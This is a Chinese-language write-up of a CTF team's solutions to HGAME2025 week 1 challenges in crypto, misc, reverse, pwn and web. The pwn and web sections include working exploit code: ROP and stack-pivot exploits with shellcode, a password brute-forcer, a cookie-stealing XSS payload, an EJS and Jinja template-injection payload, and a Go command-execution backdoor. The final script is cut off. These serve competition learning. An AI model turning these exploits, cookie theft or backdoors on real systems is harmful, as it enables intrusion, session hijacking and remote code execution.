HGAME2025 WEEK1

队伍名：小纯真

队伍ID：#000258

签到

TEST NC

略

从这里开始的序章。

略

CRYPTO

suprimeRSA

在github搜索代码片段可知为ROCA attack

`git clone https://github.com/FlorianPicca/ROCA`后，直接代入数据即可求得p, q，然后正常解密即可

```
from sage.all import *
from Crypto.Util.number import *

def solve(M, n, a, m):
    # I need to import it in the function otherwise multiprocessing doesn't find
it in its context
    from sage_functions import coppersmith_howgrave_univariate

    base = int(65537)
    # the known part of p: 65537^a * M^-1 (mod N)
    known = int(pow(base, a, M) * inverse_mod(M, n))
    # Create the polynom f(x)
    F = PolynomialRing(Zmod(n), implementation='NTL', names=('x',))
    (x,) = F._first_ngens(1)
    pol = x + known
    beta = 0.1
    t = m+1
    # Upper bound for the small root x0
    XX = floor(2 * n**0.5 / M)
    # Find a small root (x0 = k) using Coppersmith's algorithm
    roots = coppersmith_howgrave_univariate(pol, n, beta, m, t, XX)
    # There will be no roots for an incorrect guess of a.
    for k in roots:
        # reconstruct p from the recovered k
        p = int(k*M + pow(base, a, M))
        if n%p == 0:
            return p, n//p

def roca(n):
    keySize = n.bit_length()

    if keySize <= 960:
        M_prime = 0x1b3e6c9433a7735fa5fc479ffe4027e13bea
        m = 5

    elif 992 <= keySize <= 1952:
        M_prime =
0x24683144f41188c2b1d6a217f81f12888e4e6513c43f3f60e72af8bd9728807483425d1e
        m = 4
        print("Have you several days/months to spend on this ?")

    elif 1984 <= keySize <= 3936:
        M_prime =
0x16928dc3e47b44daf289a60e80e1fc6bd7648d7ef60d1890f3e0a9455efe0abdb7a748131413ceb
d2e36a76a355c1b664be462e115ac330f9c13344f8f3d1034a02c23396e6
        m = 7
        print("You'll change computer before this scripts ends...")

    elif 3968 <= keySize <= 4096:
        print("Just no.")
        return None

    else:
        print("Invalid key size: {}".format(keySize))
        return None

    a3 = Zmod(M_prime)(n).log(65537)
    order = Zmod(M_prime)(65537).multiplicative_order()
    inf = a3 // 2
    sup = (a3 + order) // 2

    # Search 10 000 values at a time, using multiprocess
    # too big chunks is slower, too small chunks also
    chunk_size = 10000
    for inf_a in range(inf, sup, chunk_size):
        # create an array with the parameter for the solve function
        inputs = [((M_prime, n, a, m), {}) for a in range(inf_a,
inf_a+chunk_size)]
        # the sage builtin multiprocessing stuff
        from sage.parallel.multiprocessing_sage import parallel_iter
        from multiprocessing import cpu_count

        for k, val in parallel_iter(cpu_count(), solve, inputs):
            if val:
                p = val[0]
                q = val[1]
                print("found factorization:\np={}\nq={}".format(p, q))
                return val

if __name__ == "__main__":
    n =
787190064146025392337631797277972559696758830083248285626115725258876808514690830
730702705056550628756290183000265129340257928314614351263713241
    p, q = roca(n)
```

```
 enc=365164788284364079752299551355267634718233656769290285760796137651769990253028664857272749598268110892426683253579840758552222893644373690398408
    e=0x10001
    d = pow(e,-1,(p-1)*(q-1))
    m = pow(enc, d, n)
    print(long_to_bytes(m).decode())
```

ezbag

构造格

$$L = \begin{pmatrix} 2 & 0 & \cdots & 0 & M_{1,1} & M_{2,1} & M_{3,1} & M_{4,1} \\ 0 & 2 & \cdots & 0 & M_{1,2} & M_{2,2} & M_{3,2} & M_{4,2} \\ \vdots & \vdots & \ddots & \vdots & \vdots & \vdots & \vdots & \vdots \\ 0 & 0 & \cdots & 2 & M_{1,64} & M_{2,64} & M_{3,64} & M_{4,64} \\ 1 & 1 & \cdots & 1 & S_1 & S_2 & S_3 & S_4 \end{pmatrix}$$

然后通过BKZ算法规约

```
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
```

```
lists=[[2826962231, 3385780583, 3492076631, 3387360133, 2955228863, 2289302839,
2243420737, 4129435549, 4249730059, 3553886213, 3506411549, 3658342997,
3701237861, 4279828309, 2791229339, 4234587439, 3870221273, 2989000187,
2638446521, 3589355327, 3480013811, 3581260537, 2347978027, 3160283047,
2416622491, 2349924443, 3505689469, 2641360481, 3832581799, 2977968451,
4014818999, 3989322037, 4129732829, 2339590901, 2342044303, 3001936603,
2280479471, 3957883273, 3883572877, 3337404269, 2665725899, 3705443933,
2588458577, 4003429009, 2251498177, 2781146657, 2654566039, 2426941147,
2266273523, 3210546259, 4225393481, 2304357101, 2707182253, 2552285221,
2337482071, 3096745679, 2391352387, 2437693507, 3004289807, 3857153537,
3278380013, 3953239151, 3486836107, 4053147071], [2241199309, 3658417261,
3032816659, 3069112363, 4279647403, 3244237531, 2683855087, 2980525657,
3519354793, 3290544091, 2939387147, 3669562427, 2985644621, 2961261073,
2403815549, 3737348917, 2672190887, 2363609431, 3342906361, 3298900981,
3874372373, 4287595129, 2154181787, 3475235893, 2223142793, 2871366073,
3443274743, 3162062369, 2260958543, 3814269959, 2429223151, 3363270901,
2623150861, 2424081661, 2533866931, 4087230569, 2937330469, 3846105271,
3805499729, 4188683131, 2804029297, 2707569353, 4099160981, 3491097719,
3917272979, 2888646377, 3277908071, 2892072971, 2817846821, 2453222423,
3023690689, 3533440091, 3737441353, 3941979749, 2903000761, 3845768239,
2986446259, 3630291517, 3494430073, 2199813137, 2199875113, 3794307871,
2249222681, 2797072793], [4263404657, 3176466407, 3364259291, 4201329877,
3092993861, 2771210963, 3662055773, 3124386037, 2719229677, 3049601453,
2441740487, 3404893109, 3327463897, 3742132553, 2833749769, 2661740833,
3676735241, 2612560213, 3863890813, 3792138377, 3317100499, 2967600989,
2256580343, 2471417173, 2855972923, 2335151887, 3942865523, 2521523309,
3183574087, 2956241693, 2969535607, 2867142053, 2792698229, 3058509043,
3359416111, 3375802039, 2859136043, 3453019013, 3817650721, 2357302273,
3522135839, 2997389687, 3344465713, 2223415097, 2327459153, 3383532121,
3960285331, 3287780827, 4227379109, 3679756219, 2501304959, 4184540251,
3918238627, 3253307467, 3543627671, 3975361669, 3910013423, 3283337633,
2796578957, 2724872291, 2876476727, 4095420767, 3011805113, 2620098961],
[2844773681, 3852689429, 4187117513, 3608448149, 2782221329, 4100198897,
3705084667, 2753126641, 3477472717, 3202664393, 3422548799, 3078632299,
3685474021, 3707208223, 2626532549, 3444664807, 4207188437, 3422586733,
2573008943, 2992551343, 3465105079, 4260210347, 3108329821, 3488033819,
4092543859, 4184505881, 3742701763, 3957436129, 4275123371, 3307261673,
2871806527, 3307283633, 2813167853, 2319911773, 3454612333, 4199830417,
3309047869, 2506520867, 3260706133, 2969837513, 4056392609, 3819612583,
3520501211, 2949984967, 4234928149, 2690359687, 3052841873, 4196264491,
3493099081, 3774594497, 4283835373, 2753384371, 2215041107, 4054564757,
4074850229, 2936529709, 2399732833, 3078232933, 2922467927, 3832061581,
3871240591, 3526620683, 2304071411, 3679560821]]
bag=[123342809734, 118191282440, 119799979406, 128273451872]
ciphertext=b'\x1d6\xcc}\x07\xfa7G\xbd\x01\xf0P4^Q"\x85\x9f\xac\x98\x8f#\xb2\x12\x
f4+\x05`\x80\x1a\xfa !\x9b\xa5\xc7g\xa8b\x89\x93\x1e\xedz\xd2M;\xa2'

L = Matrix(ZZ, 64+1, 64+4)
for i in range(64):
    L[i,i] = 2
    for j in range(4):
        L[i,64+j] = lists[j][i]
for i in range(64):
    L[64,i] = 1
for i in range(4):
    L[64,64+i] = bag[i]
```

```
result = -L.BKZ()[0]
p = ['0']*64
for i in range(64):
    p[i] = '1' if result[i]==1 else '0'
p = int(''.join(p)[::-1],2)
key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ciphertext),16)
print(flag.decode())
```

sieve

```
import sys
import math
import numpy as np
from Crypto.Util.number import long_to_bytes
from sympy import nextprime

def sieve_of_eratosthenes(k):
    """
    使用埃拉托斯特尼筛法计算质数,并返回质数计数 pi(k)。
    """
    sieve = np.ones(k + 1, dtype=bool)
    sieve[:2] = False  # 0 和 1 不是质数
    sqrt_k = int(math.isqrt(k)) + 1
    for p in range(2, sqrt_k):
        if sieve[p]:
            sieve[p*p:k+1:p] = False
    pi_k = np.sum(sieve)
    return sieve, pi_k

def sieve_euler_phi(k, primes):
    """
    使用欧拉筛法计算所有 n <= k 的欧拉函数 phi(n) 的总和。
    """
    phi = np.arange(k + 1, dtype=np.int64)
    for p in primes:
        phi[p:k+1:p] -= phi[p:k+1:p] // p
    sum_phi = np.sum(phi[1:])  # phi(1) = 1
    return sum_phi

def main():
    from Crypto.Util.number import inverse

    e = 65537
    enc =
2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
    k = (e ** 2) // 6  # k ≈ 7.157 × 10^8

    # 第一部分:使用埃拉托斯特尼筛法计算质数并获取 pi(k)
    sieve, pi_k = sieve_of_eratosthenes(k)
    primes = np.nonzero(sieve)[0]
    # 第二部分:使用欧拉筛法计算 sum(phi(n)) 使用已知的质数
    sum_phi = sieve_euler_phi(k, primes)
    print(f"欧拉函数的总和 sum_phi 已计算: {sum_phi}")

    # 计算 trick(k) = sum_phi + pi(k)
    trick_k = sum_phi + pi_k

    # 将 trick(k) 左移128位
    shifted_trick = trick_k << 128
    # shifted_trick = 53003516465655400667707442798277521907437914663503790080

    # 计算下一个质数 p = q = nextprime(trick(k) << 128)
    p = nextprime(shifted_trick)
    q = p  # 因为 p = q

    # 计算模数 n
    n = p * q

    # 计算 ϕ(n) = p * (p - 1) 因为 n = p^2
    phi_n = p * (p - 1)

    # 计算 d, 满足 d ≡ e^(-1) mod ϕ(n)
    try:
        d = inverse(e, phi_n)
    except ValueError:
        print("无法找到 e 关于 ϕ(n) 的模逆元。")
        sys.exit(1)

    # 解密 m = enc^d mod n
    m = pow(enc, d, n)

    # 将 m 转换回字节以获取 FLAG
    try:
        flag = long_to_bytes(m).decode()
        print(f"FLAG: {flag}")
    except:
        print("解密后的值无法正确转换为字符串。请检查过程是否正确。")

if __name__ == "__main__":
    main()
```

MISC

Hakuya Want A Girl Friend

根据数据特点，前面是一个zip压缩包，后面是一个reverse后的PNG图片。更改PNG图片高度发现隐写了压缩包密码，从压缩包中提取得到flag

Level 314 线性走廊中的双生实体

解压模型文件得到其中的`code/__torch__.py`，可以看到部分逻辑

```
import torch
entity=torch.jit.load('entity.pt')
for i in entity.security.flag:
    print(chr(i^85),end='')
```

Computer cleaner

flag part1: /var/www/html/uploads/shell.php

flag part2: 访问/var/www/html/upload_log.txt中的攻击者IP

flag part3: /var/www/html/upload_log.txt中存储着cmd传参，指向~/Documents/flag_part3，直接读取即可

Two wires

因为擅长搞二进制，所以把逆固件作为切入点，得到以下特征

```
0x11e-0x12a Wire输出缓冲区
0x12c-0x13c Wire输入缓冲区
0x13d: action

action=0: watchdog_reset
action=1: action=5
action=2: memcpy(0x1e3, 0x12d, 8)
action=3: memcpy(0x1eb, 0x12d, 10)
action=4: memcpy(0x1f5, 0x12d, 10)
action=5: regen_otp

i2cOnRequest:
if action!=0: illegal
else: Wire::write(0x11e, 13); action=1

i2cOnReceive:
if action!=0: illegal
else: action=input[0]+2

regen_otp: 进行一些计算后
0x11f-0x122 SHA1值%1000000
memcpy(0x123, 0x1e3, 8)
*(uint64_t*)0x1e3 = (*(uint64_t*)0x123)+1
```

通过regen_otp模`10**7`的运算可以判断出OTP为6位数字

通过自增1运算可以判断出counter一共是8字节

同时0x1eb开始有20字节的数据，判断为secret

而分析eeprom::serialize可以发现，EEPROM中存储的数据是4字节magic+8字节counter+20字节secret，因此可以从二进制dump中恢复出原先的counter和secret

再分析逻辑分析仪数据，选用i2c decoder，可以得到写入的counter和secret数据

得到python脚本

```
import hmac
import hashlib
import struct

def hotp(counter: int, secret: bytes, digits: int = 6) -> str:
    """
    计算HOTP值。

    :param counter: 计数器值(整数)
    :param secret: 秘密字节串
    :param digits: HOTP的位数,默认为6
    :return: HOTP值,作为零填充的字符串
    """
    # 将计数器值转换为8字节的大端字节序
    counter_bytes = struct.pack('>Q', counter)

    # 计算HMAC-SHA1值
    hmac_hash = hmac.new(secret, counter_bytes, hashlib.sha1).digest()

    # 动态截断
    # 最后一个字节的低4位作为偏移量
    offset = hmac_hash[-1] & 0x0F
    # 截取4个字节并转换为整数(大端)
    binary = struct.unpack('>I', hmac_hash[offset:offset+4])[0]
    # 清除最高位,确保是31位
    binary &= 0x7FFFFFFF
    # 取模得到HOTP值
    otp = binary % (10 ** digits)

    # 返回零填充的字符串
    return str(otp).zfill(digits)

secret = bytes.fromhex('6B 69 4F 7E 03 54 F6 C6 6A B5 1A 04 02 1B 1C 6D 7D 45 58
02')
print(f'hgame{{{hotp(0xdcd7e9300000001, secret)}_{hotp(0xdcd7e930000000a,
secret)}_', end='')
secret = bytes.fromhex('32 1C 31 D4 94 54 85 42 44 DE 86 CC 4A B6 DD F4 35 42 90
52')
print(f'{hotp(0x3a92cd1700000592+32, secret)}_{hotp(0x3a92cd1700000592+64,
secret)}}}')
```

PWN

counting petals

```
from pwn import *
context(arch='amd64', log_level='debug')
context.terminal = 'tmux splitw -h'.split()

# p = process('./vuln')
p = remote('119.45.235.21', 32527)
libc = ELF('./libc.so.6', checksec=True)
p.sendlineafter(b'time?\n', b'16')
for i in range(16):
    p.sendlineafter(b':', str(0xff00000020).encode())
```

```
p.sendlineafter(b':', b'2')
p.recvuntil(b'1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + 1095216660512 + ')
canary = int(p.recvuntil(b' ',drop=True).decode()) & 0xffffffffffffffff
p.recvuntil(b'1 + ')
libc.address = (int(p.recvuntil(b' ',drop=True).decode()) & 0xffffffffffffffff) - 0x29d90
success('libc ==> ' + hex(libc.address))

rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
binsh = next(libc.search(b'/bin/sh\x00'))

p.sendlineafter(b'time?\n', b'16')
for i in range(16):
    p.sendlineafter(b':', str(0x1200000016).encode())

p.sendlineafter(b':', str(ret).encode())
p.sendlineafter(b':', str(pop_rdi).encode())
p.sendlineafter(b':', str(binsh).encode())
p.sendlineafter(b':', str(libc.sym['system']).encode())
p.sendlineafter(b':', b'2')
p.interactive()
```

ezstack

噢耶，迁迁的移

```
from pwn import *
context(arch='amd64', log_level='debug')
context.terminal = 'tmux splitw -h'.split()

# p = process('./vuln')
elf = ELF('./vuln', checksec=False)
#libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)

pop_rdi = 0x401713
pop_rsi_r15 = 0x401711
pop_rbp = 0x40135d
leave_ret = 0x4013cb

#c = connect('127.0.0.1', 9999)
c = connect('node2.hgame.vidar.club', 30110)

payload = b'a'*0x50 + p64(elf.bss(0xc00)) + p64(0x4013d9)
pause()
c.sendafter(b'luck.\n', payload)

payload = flat({
    0: [elf.bss(0xc40), pop_rsi_r15, elf.got['write'], 0, elf.sym['print'], 0x4013d9, 0x404d18, leave_ret],
    0x50: 0x404ce0,
    0x58: leave_ret
})

c.sendafter(b'luck.\n', payload)

libc.address = u64(c.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['write']
success('libc ==> ' + hex(libc.address))
rop = ROP(libc)
ret = rop.find_gadget(['ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_r12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]


payload = flat({
    0: [pop_rsi, 0x404d40, pop_rdx_r12, 0x200, 0, libc.sym['read']],
    0x50: 0x404d18,
    0x58: leave_ret
})
c.sendafter(b'luck.\n', payload)


shellcode = b"\x68\x66\x6c\x61\x67\x54\x5f\x31\xf6\x6a\x02\x58\x0f\x05\x96\x6a\x04\x5f\x31\xd2\x6a\x7f\x41\x5a\x6a\x28\x58\x0f\x05\xcc"

payload = flat({
    0: [ret, ret, ret, ret, pop_rdi, 0x404000, pop_rsi, 0x1000, pop_rdx_r12, 7, 0, libc.sym['mprotect'], 0x404dc0],
    0x80: shellcode
})


c.send(payload)
c.interactive()
```

format

```
from pwn import *
context.arch='amd64'
context.log_level='debug'
context.terminal='tmux splitw -h'.split()

#p = process('./vuln')
p = remote('node2.hgame.vidar.club', 31221)
libc = ELF('./libc.so.6', checksec=False)
p.sendlineafter(b'n = ', b'1')
p.sendlineafter(b'something:', b'%p')

stack = int(p.recvuntil(b'you have n space', drop=True)[-14:].decode(),16) + 0x2110

p.sendafter(b'n = ', b'-2147483648a')
payload = b'aaaa'+p64(stack+0x28)+p64(0x4012cf)+p64(0)+b'%3$p\0\0\0\xf0'
p.sendafter(b'something:', payload)
```

```
libc.address = int(p.recv(14).decode(),16) - 0x1147e2
success('libc ==> ' + hex(libc.address))
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
p.sendafter(b'something:', b'a'*12+rop.chain())
p.interactive()
```

REVERSE

Compress dot new

数字助手立正了！

```
import json

def decompress(input_data):
    # 将输入数据拆分为树的JSON和编码后的字符串
    idx = input_data.find('\n')

    tree_json = input_data[:idx]
    encoded_str = input_data[idx+1:]

    # 重建 Huffman 树
    tree = json.loads(tree_json)

    # 将编码字符串转换为比特列表
    bits = encoded_str

    # 解码过程
    decoded_bytes = []
    node = tree
    index = 0
    while index < len(bits):
        current_node = node
        while 's' not in current_node:
            if index >= len(bits):
                break  # 防止越界
            bit = bits[index]
            index += 1
            if bit == '0':
                current_node = current_node['a']
            else:
                current_node = current_node['b']
        # 叶子节点,获取符号并重置节点到树根
        if 's' in current_node:
            decoded_bytes.append(current_node['s'])
            node = tree
        else:
            break  # 防止异常

    return bytes(decoded_bytes)

# 使用示例:

# 读取压缩文件内容
```

```
with open('enc.txt', 'r') as f:
    compressed_data = f.read()

# 进行解压缩
original_data = decompress(compressed_data)
print(original_data.decode())
```

Turtle

题目一开始的逻辑类似shellcode loader，直接断virtual protect后jmp那个跳转，后面类似SMC，随着动调看，有两处加密逻辑，前面是疑似改过的RC4，因为是按字节异或可以直接动调dump出密钥流；后面也像魔改rc4，在加密前dump出整个盒然后写个解密逻辑

```
def decrypt(a1: bytes, a2: int, a3: bytes) -> bytes:
    # 将不可变的bytes转换为可变的bytearray
    a1 = bytearray(a1)
    a3 = bytearray(a3)

    v5 = 0
    v6 = 0

    for i in range(a2):
        v6 = (v6 + 1) % 256
        v5 = (a3[v6] + v5) % 256

        # 交换a3[v6]和a3[v5]
        a3[v6], a3[v5] = a3[v5], a3[v6]

        # 计算键的索引
        key_index = (a3[v6] + a3[v5]) % 256
        key = a3[key_index]

        # 对a1[i]执行解密操作(加上键值并保证在0-255范围内)
        a1[i] = (a1[i] + key) % 256  # 如果C代码是加密,这里是解密
        # 如果C代码是解密,且你需要实现加密,请使用减法:
        # a1[i] = (a1[i] - key) % 256

    return bytes(a1)

keystream = bytes.fromhex('65 C9 DC 3A CE 59 C0 24 48 A0 41 62 8F 20 26 F8 7C B4
BA 96 E0 5A 2C 19 9D 22 93 E4 10 E5 C7 BD 3E 76 BE C6 01 FC 86 4F DD D9 D4 83 D3
77 63 97 FD 4A F7 D5 FA 60 F3 6E 32 9E 5C 73 61 B5 40 DF E8 F6 80 28 CA 45 F0 BC
B8 D7 58 CF 9C 69 25 52 15 CC 70 07 7E 06 2E 54 1A 35 3B 6F 3C 31 7F 1D F4 E3 82
A7 37 F9 50 6D 13 46 8D 95 AB B7 AF 72 A8 BB 94 AE 5B 67 C1 B3 A4 1C 8C 36 14 C4
A5 B2 8A B0 2D 0B 34 CD A6 FF 21 8B C8 43 00 09 F1 D0 B6 23 53 84 57 64 A2 4B 18
0D 5D 78 05 02 44 92 29 7D FE 08 8E C3 90 E2 1E E6 81 49 E7 6B 12 79 0C 33 E1 68
27 D1 99 03 5F D2 ED 0E B9 CB EC 4E 56 42 DA 87 FB 3D A1 6A 3F 89 0F 51 9B 1B 7A
88 EE 30 16 EF C5 9F 74 4C EB 66 B1 DB 6C D8 47 4D A9 7B 71 2F 1F AA D6 2A 2B 91
0A 38 85 BF A3 9A 75 55 11 98 17 C2 F5 39 F2 E9 DE 04 5E EA AC AD')
data = bytes.fromhex('F8 D5 62 CF 43 BA C2 23 15 4A 51 10 27 10 B1 CF C4 09 FE E3
9F 49 87 EA 59 C2 07 3B A9 11 C1 BC FD 4B 57 C4 7E D0 AA 0A')
dec = decrypt(data, 40, keystream)
print(dec.decode())
```

Delta Erro0000ors

程序有个异常处理的逻辑，第一次ApplyDeltaB会失败，然后main函数中抛出异常，exception handler中允许用户输入16个md5 bytes填充到patch delta对应的buffer上，然后对调source和delta结构体重新调用ApplyDeltaB。此时失败的原因是因为hash和patch对不上。因此patch题目所给的msdelta.dll文件，根据抛出异常的位置可以定位到 `compo::CheckBuffersIdentityFactory::CheckBuffersIdentityComponent::InternalProcess` 函数，跳过hash检验的部分。

然后重新运行程序，跳过第一次ApplyDeltaB，直接到第二次。应用好patch后，逻辑就是一个简单的异或，得到最终flag。

尊嘟假嘟

上个frida，原本想劫持java.io.File.delete阻止程序删除解密好的dex，不过直接导致调用delete的时候程序崩了，不过也拿到了解密后的dex

```
Java.perform(()=>{Java.use("java.io.File").delete.implementation=()=>
{console.log("File.delete called");return true;}})
```

于是可以得到逻辑 程序将若干个0.o和o.0拼接后得到字符串，先调用libzunjia.so中的函数，从resource中解密出dex，然后调用dex中的encode，将其作为key传入check，然后check中对一份加密数据使用key解密后，再调用encode函数编码，并调用log打印出来

encode是类似base64的算法，check中的加解密是类似rc4的算法，但似乎都有改动

```python
import itertools
from Crypto.Cipher import ARC4

def is_visible_ascii(data):
    """
    检查字节数据是否全部为可见的 ASCII 字符(32-126)。
    """
    return all(32 <= byte <= 126 for byte in data)

def generate_keys(max_parts):
    """
    生成由 "0.o" 和 "o.0" 组成的所有可能的 RC4 密钥。
    max_parts: 密钥中 "0.o" 或 "o.0" 的最大重复次数。
    """
    parts = ["0.o", "o.0"]
    for n in range(1, max_parts + 1):
        for combo in itertools.product(parts, repeat=n):
            yield ''.join(combo)

def rc4_encrypt(enc, key):
    """
    使用 RC4 算法解密给定的字节数据。
    """
    key = key.encode()
    box = [i for i in range(0x100)]
    v8 = [key[j % len(key)] for j in range(0x100)]
    v3 = 0
    for k in range(0x100):
        v1 = (v3 + box[k] + v8[k]) & 0xff
        v3 = v1
        box[k], box[v1] = box[v1], box[k]
    v4 = 0
    v5 = 0
    enc_bytes = bytearray(enc)
    for i in range(len(enc)):
        v5 += 1
        v4 = (v4 + box[v5]) % 256
        box[v5], box[v4] = box[v4], box[v5]
        enc_bytes[i] ^= box[((box[v5]+box[v4])%256)&0xff]
    return bytes(enc_bytes)

class CustomCodec:
    CUSTOM_ALPHABET = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
    DECODE_TABLE = [-1] * 128

    def __init__(self):
        for index, char in enumerate(self.CUSTOM_ALPHABET):
            self.DECODE_TABLE[ord(char)] = index

    def decode(self, encoded_str):
        if encoded_str is None:
            return None

        encoded_bytes = encoded_str.encode('utf-8', errors='replace')
        length = len(encoded_bytes)

        # 每四个编码字符对应三个原始字节
        if length % 4 != 0:
            raise ValueError("Invalid encoded string length.")

        byte_length = (length // 4) * 3
        decoded_bytes = bytearray(byte_length)

        i2 = 0  # 编码字节数组的索引
        i3 = 0  # 解码字节数组的索引

        while i2 < length:
            # 获取四个编码字符
            try:
                c1 = chr(encoded_bytes[i2])
                c2 = chr(encoded_bytes[i2 + 1])
                c3 = chr(encoded_bytes[i2 + 2])
                c4 = chr(encoded_bytes[i2 + 3])
            except IndexError:
                raise ValueError("Invalid encoded string format.")
            i2 += 4

            # 获取每个字符在自定义字母表中的索引
            try:
                val1 = self.CUSTOM_ALPHABET.index(c1)
                val2 = self.CUSTOM_ALPHABET.index(c2)
                val3 = self.CUSTOM_ALPHABET.index(c3)
                val4 = self.CUSTOM_ALPHABET.index(c4)
            except ValueError:
                raise ValueError("Encoded string contains invalid characters.")

            # 组合成24位整数
            i5 = (val1 << 18) | (val2 << 12) | (val3 << 6) | val4

            # 提取出原始的三个字节
            decoded_bytes[i3] = (i5 >> 16) & 0xFF
            i3 += 1
            decoded_bytes[i3] = (i5 >> 8) & 0xFF
            i3 += 1
            decoded_bytes[i3] = i5 & 0xFF
            i3 += 1

        # 逆向 XOR 操作以恢复原始字节
        for i in range(byte_length):
            decoded_bytes[i] ^= i

        # 根据编码时的填充情况，可能需要裁剪字节数组
        # 由于原始编码并未保存原始长度，这里假设所有填充的字节为0
        # 可以根据具体需求调整
        return bytes(decoded_bytes)

    def encode(self, byte_arr):
        if byte_arr is None:
            return None

        length = len(byte_arr)
        # 创建一个副本以避免修改原始字节数组
        xored_bytes = bytearray(byte_arr)
        for i in range(length):
            xored_bytes[i] ^= i

        # 计算输出字节数组的长度
        encoded_length = ((length + 2) // 3) * 4
        encoded_bytes = bytearray(encoded_length)
        i2 = 0  # 输入字节数组的索引
        i3 = 0  # 输出字节数组的索引

        while i2 < length:
            # 获取三个字节，如果不足则补0
            b3 = xored_bytes[i2]
            i2 += 1
            if i2 < length:
                b = xored_bytes[i2]
                i2 += 1
            else:
                b = 0
            if i2 < length:
                b2 = xored_bytes[i2]
                i2 += 1
            else:
                b2 = 0

            # 组合成24位整数
            i5 = ((b3 & 0xFF) << 16) | ((b & 0xFF) << 8) | (b2 & 0xFF)
            # 从24位中提取四个6位，并映射到CUSTOM_ALPHABET
            encoded_bytes[i3] = ord(self.CUSTOM_ALPHABET[(i5 >> 18) & 0x3F])
            i3 += 1
            encoded_bytes[i3] = ord(self.CUSTOM_ALPHABET[(i5 >> 12) & 0x3F])
            i3 += 1
            encoded_bytes[i3] = ord(self.CUSTOM_ALPHABET[(i5 >> 6) & 0x3F])
            i3 += 1
            encoded_bytes[i3] = ord(self.CUSTOM_ALPHABET[i5 & 0x3F])
            i3 += 1

        # 将字节数组转换为字符串
        return encoded_bytes.decode('utf-8', errors='replace')


codec = CustomCodec()
enc = bytes.fromhex('7A C7 C7 94 51 82 F5 99 0C 30 C8 CD 97 FE 3D D2 AE 0E BA 83 59 87 BB C6 35 E1 8C 59 EF AD FA 94 74 D3 42 27 98 77 54 3B 46 5E 95')

# 设置密钥生成的最大重复次数以避免无限循环
MAX_PARTS = 12  # 根据需要调整

for key in generate_keys(MAX_PARTS):
    try:
        decrypted = rc4_encrypt(enc, codec.encode(key.encode()))
        if is_visible_ascii(decrypted):
            print(f"找到密钥: {key}")
            print(f"解密结果: {decrypted.decode('ascii')}")
            break
    except:
        continue
else:
    print("未找到符合条件的密钥。")
```

WEB

Level 24 Pacman

死后发现console猛打log，找到对应的位置，发现js被混淆了，使用`https://obf-io.deobfuscate.io/`去混淆后得到真正的base64字符串，解码后按栅栏密码解密即可

Level 47 BandBomb

审计源码，发现存在路径穿越漏洞，可以覆盖位于`../views/mortis.ejs`的模板文件，从而实现代码执行，读取环境变量中的flag即可

```
<%= JSON.stringify(global.process.env) %>
```

Level 69 MysteryMessageBoard

根据提示，用户名为shallot，写个python脚本爆破得到密码888888

```python
from requests import Session

sess = Session()


with open('10-million-password-list-top-1000.txt', 'r') as f:
    for line in f:
        line = line[:-1]
        print(f'Now testing: {line}')
        resp = sess.post('http://node2.hgame.vidar.club:30599/login',
{'username':'shallot', 'password':line})
        if resp.text != 'error':
            print(line)
            break
```

登录后是裸的XSS，直接拿admin session

```html
</li><img src="invalid-image.jpg" onerror="
    (function() {
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'http://127.0.0.1:8888', true);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-
urlencoded');
        var data = 'comment=' + encodeURIComponent(document.cookie);
        xhr.send(data);
    })();
"><li>
```

然后以admin身份请求/flag路由，得到flag

Level 25 双面人派对

请求web服务得到一个二进制文件，upx脱壳后，分析其中的字符串内容，发现明文编码了minio的凭据，连接进去得到源码，发现有个自更新的go服务

在go源码中加入命令执行后门，编译后上传替换update文件。然后通过后门拿到flag

```go
package main

import (
    "level25/fetch"

    "level25/conf"

    "os/exec"

    "github.com/gin-gonic/gin"
    "github.com/jpillora/overseer"
)

```

```go
func main() {
    fetcher := &fetch.MinioFetcher{
        Bucket:    conf.MinioBucket,
        Key:       conf.MinioKey,
        Endpoint:  conf.MinioEndpoint,
        AccessKey: conf.MinioAccessKey,
        SecretKey: conf.MinioSecretKey,
    }
    overseer.Run(overseer.Config{
        Program: program,
        Fetcher: fetcher,
    })
}

func program(state overseer.State) {
    g := gin.Default()

    // Handle static files
    g.StaticFS("/", gin.Dir(".", true))

    // Handle command execution
    g.POST("/execute", func(c *gin.Context) {
        var command struct {
            Cmd string `json:"cmd" binding:"required"`
        }
        if err := c.ShouldBindJSON(&command); err != nil {
            c.JSON(400, gin.H{"error": "Invalid request payload"})
            return
        }

        out, err := exec.Command("bash", "-c", command.Cmd).CombinedOutput()
        if err != nil {
            c.JSON(500, gin.H{
                "error": err.Error(),
                "output": string(out),
            })
            return
        }

        c.JSON(200, gin.H{
            "output": string(out),
        })
    })

    g.Run(":8080")
}
```

Level 38475 角落

扫目录得到app.conf文件，发现其中的规则书写有问题，可以拿到源码

以L1nk/的ua请求/admin/usr/local/apache2/app/app.py%3F即可

审计源码发现存在TOCTOU漏洞，先readmsg检查是否存在大括号，然后重新readmsg渲染模板，从而通过条件竞争可以打模板注入

```python
import requests
import threading

BASE_URL = "http://node1.hgame.vidar.club:31140"
PAYLOAD = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"

def send_junk():
    url = f"{BASE_URL}/app/send"
    data = {"message": "chunzhen" * 2000}
    response = requests.post(url, data=data)
    return response.text

def send_payload():
    url = f"{BASE_URL}/app/send"
    data = {"message": PAYLOAD}
    response = requests.post(url, data=data)
    return response.text

